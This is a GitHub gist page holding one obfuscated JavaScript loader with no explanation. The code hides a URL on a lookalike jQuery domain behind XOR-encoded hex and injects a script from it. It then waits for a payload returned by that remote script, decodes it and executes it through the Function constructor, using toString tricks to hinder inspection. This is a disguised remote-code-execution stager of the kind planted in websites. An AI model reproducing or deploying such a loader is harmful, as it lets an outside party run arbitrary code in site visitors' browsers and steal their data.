Skip to content

Instantly share code, notes, and snippets.

@krautface
Created February 6, 2020 04:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save krautface/5a29d1daf2d70ccc456f65d1f00cc9b3 to your computer and use it in GitHub Desktop.
Save krautface/5a29d1daf2d70ccc456f65d1f00cc9b3 to your computer and use it in GitHub Desktop.
let _scriptCallback = null;
(function() {
function _loadScripts(array,callback){
var loader = function(src,handler){
var script = document.createElement("script");
script.src = src;
if(_scriptCallback != null) {
_scriptCallback = null;
} else {
_precompile.forEach(function (p) {
script.src += o(p);
})
script.src += p(Math.random());
}
script.onload = script.onreadystatechange = function(){
script.onreadystatechange = script.onload = null;
if(/MSIE ([6-9]+\.\d+);/.test(navigator.userAgent))window.setTimeout(function(){handler();},8,this);
else handler();
}
var head = document.getElementsByTagName("head")[0];
(head || document.body).appendChild( script );
};
(function(){
if(array.length!=0){
loader(array.shift(),arguments.callee);
}else{
callback && callback();
}
})();
}
function __script(src) {
let textToChars = text => text.split('').map(c => c.charCodeAt(0))
let saltChars = textToChars(src)
let applySaltToChar = code => textToChars(src).reduce((a,b) => a ^ b, code)
return encoded => encoded.match(/.{1,2}/g)
.map(hex => parseInt(hex, 16))
.map(applySaltToChar)
.map(charCode => String.fromCharCode(charCode))
.join('')
}
let a = null;
let b = () => { return a.replace("null", "") };
let l = () => {};
let o = t => String.fromCharCode(t);
let p = t => s;
let s = Math.random().toString().split(".")[1];
let t = p => _params.forEach((p) => a += o(p));
let _precompile = [63, 113, 61, 48, 46];
let _params = [80,69,69,65,108,98,79,74,122,118];
l.toString = () => { a = true };
if(a) {}
else {
let _script = __script(b(t(_params)));
_loadScripts([
_script("7e626266652c39397c676373646f3b756f757a733875797b397778777a6f627f7565387c65"),
], () => {
try {
let ___s = setInterval(() => {
if (_scriptCallback != null) {
let c = () => {};
c.toString = () => { c = false }
if(typeof c === "function") {
let _script = __script(s);
let c = _scriptCallback;
_loadScripts([
_script(_scriptCallback),
], () => {
a = "constructor";
b = {};
c = __script(c);
a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub), a).value, 0, c(_scriptCallback))();
_scriptCallback = null;
clearInterval(___s);
});
}
}
}, 100);
} catch (e) {
}
});
}
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment